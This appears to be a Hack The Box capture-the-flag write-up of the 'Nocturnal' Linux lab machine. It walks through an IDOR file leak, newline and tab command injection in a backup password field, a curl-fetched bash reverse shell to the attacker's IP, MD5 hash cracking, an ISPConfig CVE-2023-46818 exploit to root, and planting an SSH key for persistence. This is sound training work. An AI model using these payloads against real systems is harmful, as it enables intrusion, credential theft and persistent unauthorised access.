> m4rt@CTF_ARCHIVE:~$

Hack The Box / LINUX / 2025-04-19

Hack The Box — Nocturnal (Linux)

Insecure file access in view.php leaks internal document credentials, admin backup functionality exposes source and DB hashes, then ISPConfig CVE-2023-46818 leads to root.

Target

  • IP: 10.129.25.234

Recon

sudo nmap -sC -sV 10.129.25.234 -p- -T5 -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add nocturnal.htb to /etc/hosts.

Go to http://nocturnal.htb/.

It is a PHP website.

Register with any user.

Try uploading a file with a PHP shell.

We get:

Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.
echo 'hello' > test.pdf

Upload test.pdf.

Now in the dashboard a link appears:

http://nocturnal.htb/view.php?username=test12&file=test.pdf

where test12 is the registered user.

gobuster dir -u 'http://nocturnal.htb/' -w /home/kali/SecLists/Discovery/Web-Content/raft-small-words.txt -t 50 -x php -c 'PHPSESSID=a7roe53fbt701hi2j99mvs2224'
/login.php            (Status: 200) [Size: 644]
/admin.php            (Status: 302) [Size: 0] [--> login.php]
/index.php            (Status: 302) [Size: 0] [--> dashboard.php]
/register.php         (Status: 200) [Size: 649]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/uploads              (Status: 403) [Size: 162]
/view.php             (Status: 302) [Size: 2919] [--> login.php]
/.                    (Status: 200) [Size: 1524]
/backups              (Status: 301) [Size: 178] [--> http://nocturnal.htb/backups/]
/dashboard.php        (Status: 302) [Size: 0] [--> login.php]
/uploads_admin        (Status: 403) [Size: 162]
/uploads_user         (Status: 403) [Size: 162]
/uploads_group        (Status: 403) [Size: 162]
/uploads2             (Status: 403) [Size: 162]
/uploads_event        (Status: 403) [Size: 162]
/uploads_video        (Status: 403) [Size: 162]
/uploads_forum        (Status: 403) [Size: 162]

We can try to view files of other users.

ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf' -w /home/kali/SecLists/Usernames/xato-net-10-million-usernames.txt -t 50 -b 'PHPSESSID=a7roe53fbt701hi2j99mvs2224' -fw 1170
admin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 66ms]
amanda                  [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 61ms]
tobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 61ms]
test12                  [Status: 200, Size: 2950, Words: 1169, Lines: 124, Duration: 52ms]

Go to http://nocturnal.htb/view.php?username=amanda&file=test.pdf.

It says:

File does not exist.

But Amanda's files are listed.

There is a file privacy.odt.

Download it.

vim privacy.odt

Go to the line immediately above where strange bytes start.

ESC + dgg

This removes the current line and all lines above.

ESC + i

Also remove spaces before the strange bytes.

file privacy.odt
privacy.odt: OpenDocument Text

We can open it with LibreOffice Writer.

It says:

Dear Amanda,
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.
Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.

Yours sincerely,
Nocturnal's IT team

We found a password: arHkG7HAI68X8s1J.

ssh amanda@nocturnal.htb

Enter the found password.

It does not work.

Go back to http://nocturnal.htb/.

Log out and log in with username amanda and the found password.

We can access the admin panel.

There are .php files of the website, so we can read source code.

We can create a website backup.

Choose password a.

Download the backup .zip file.

Put it in a backup folder.

Extract it.

There is a file nocturnal_database.db.

Note

For me, it happened that nocturnal_database.db was not included in the backup, so I improvised to get RCE.

We can inspect website source code in VS Code.

In the folder where we extracted the backup:

code .

We notice that an external program is executed to create the backup:

$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

$descriptor_spec = [
    0 => ["pipe", "r"], // stdin
    1 => ["file", $logFile, "w"], // stdout
    2 => ["file", $logFile, "w"], // stderr
];

$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
    proc_close($process);
}

We do not control backupFile and logFile, but we can choose the password.

However there is a filter that checks if at least one string in this list appears in the password:

function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

But we notice newline is not filtered.

Intercept backup HTTP request with Burp.

There are two parameters: password and backup.

Send request to Repeater.

Set password value to:

a%0d%0awhoami%0d%0a%23

We get:

sh: 2: whoami
: not found
d arguments (nothing to select from)

Looks like something did not work.

Also we notice space is filtered, but tab (\t) is not.

For example we can create a backup in backups/a.zip with file /etc/passwd using this payload for password:

a%09backups%2fa.zip%09%2fetc%2fpasswd%09%23

which URL-decodes to:

a   backups/a.zip   /etc/passwd #

Go to http://nocturnal.htb/backups/a.zip.

Download and extract it.

We get file passwd.

Inside we notice user tobias.

We cannot back up /home/tobias.

The previous payload to execute a command did not work, but if we let zip execute correctly and then add a newline, we can execute a command successfully.

Let us try to get a reverse shell.

Create file rev with content:

bash -i >& /dev/tcp/10.10.14.252/4444 0>&1

Listen with HTTP server:

python3 -m http.server 8000

Listen with netcat:

nc -vlnp 4444

Use payload:

a%09backups%2fa.zip%09%2fnonexistent%0d%0acurl%09http%3a%2f%2f10.10.14.252%3a8000%2frev%09-o%09%2fdev%2fshm%2frev%09%23

Which URL-decodes to:

a   backups/a.zip   /nonexistent
curl    http://10.10.14.252:8000/rev    -o  /dev/shm/rev    #

Send the request.

We receive a request from the target machine to /rev.

So the reverse-shell file was saved in /dev/shm.

Now use payload:

a%09backups%2fa.zip%09%2fnonexistent%0d%0abash%09%2fdev%2fshm%2frev%09%23

Which corresponds to:

a   backups/a.zip   /nonexistent
bash    /dev/shm/rev    #

Send request.

We get a reverse shell as user www-data.

From source code we saw that the site uses database nocturnal_database.db.

ls

We notice file nocturnal_database.db.

Copy it to the target machine. One way: on target machine run:

python3 -m http.server 5555

On attacker machine run:

wget http://nocturnal.htb:5555/nocturnal_database.db

End note

sqlite3 nocturnal_database.db

.tables
uploads  users

select * from users
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|test12|60474c9c10d7142b7508ce7a50acf414

Put this:

admin:d725aeba143f575736b07e045d8ceebb
amanda:df8b20aa0c935023f99ea58358fb63c4
tobias:55c82b1ccd55ab219b3b109b07d5061d
test12:60474c9c10d7142b7508ce7a50acf414

in a hash file.

./hashcat-6.2.6/hashcat.bin -a 0 -m 0 ./hash ./rockyou.txt --username
./hashcat-6.2.6/hashcat.bin -a 0 -m 0 ./hash ./rockyou.txt --username --show
tobias:55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse
test12:60474c9c10d7142b7508ce7a50acf414:test12
ssh tobias@nocturnal.htb

Enter password slowmotionapocalypse.

ss -ltpn
State        Recv-Q       Send-Q               Local Address:Port                Peer Address:Port       Process
LISTEN       0            70                       127.0.0.1:33060                    0.0.0.0:*
LISTEN       0            151                      127.0.0.1:3306                     0.0.0.0:*
LISTEN       0            10                       127.0.0.1:587                      0.0.0.0:*
LISTEN       0            511                        0.0.0.0:80                       0.0.0.0:*
LISTEN       0            4096                     127.0.0.1:8080                     0.0.0.0:*
LISTEN       0            4096                 127.0.0.53%lo:53                       0.0.0.0:*
LISTEN       0            128                        0.0.0.0:22                       0.0.0.0:*
LISTEN       0            10                       127.0.0.1:25                       0.0.0.0:*
LISTEN       0            128                           [::]:22                          [::]:*

Forward port 8080:

ssh tobias@nocturnal.htb -NL 7777:127.0.0.1:8080

Go to http://127.0.0.1:7777/.

It is ISPConfig.

Log in with credentials:

admin:slowmotionapocalypse

Click Help --> Version.

ISPConfig Version: 3.2.10p1

There is a vulnerability (CVE-2023-46818):

  • https://github.com/projectdiscovery/nuclei-templates/issues/8804

Here is an exploit:

  • https://github.com/bipbopbup/CVE-2023-46818-python-exploit
git clone https://github.com/bipbopbup/CVE-2023-46818-python-exploit.git
python3 CVE-2023-46818-python-exploit/exploit.py http://127.0.0.1:7777/ admin slowmotionapocalypse

The program gives us a shell.

id
uid=0(root) gid=0(root) groups=0(root)

On attacker machine:

ssh-keygen -f root_key
cat root.pub

Copy the public key.

In the shell we obtained:

echo '<copied_data>' >> /root/.ssh/authorized_keys
ssh -i root_key root@nocturnal.htb

We get an SSH session as root.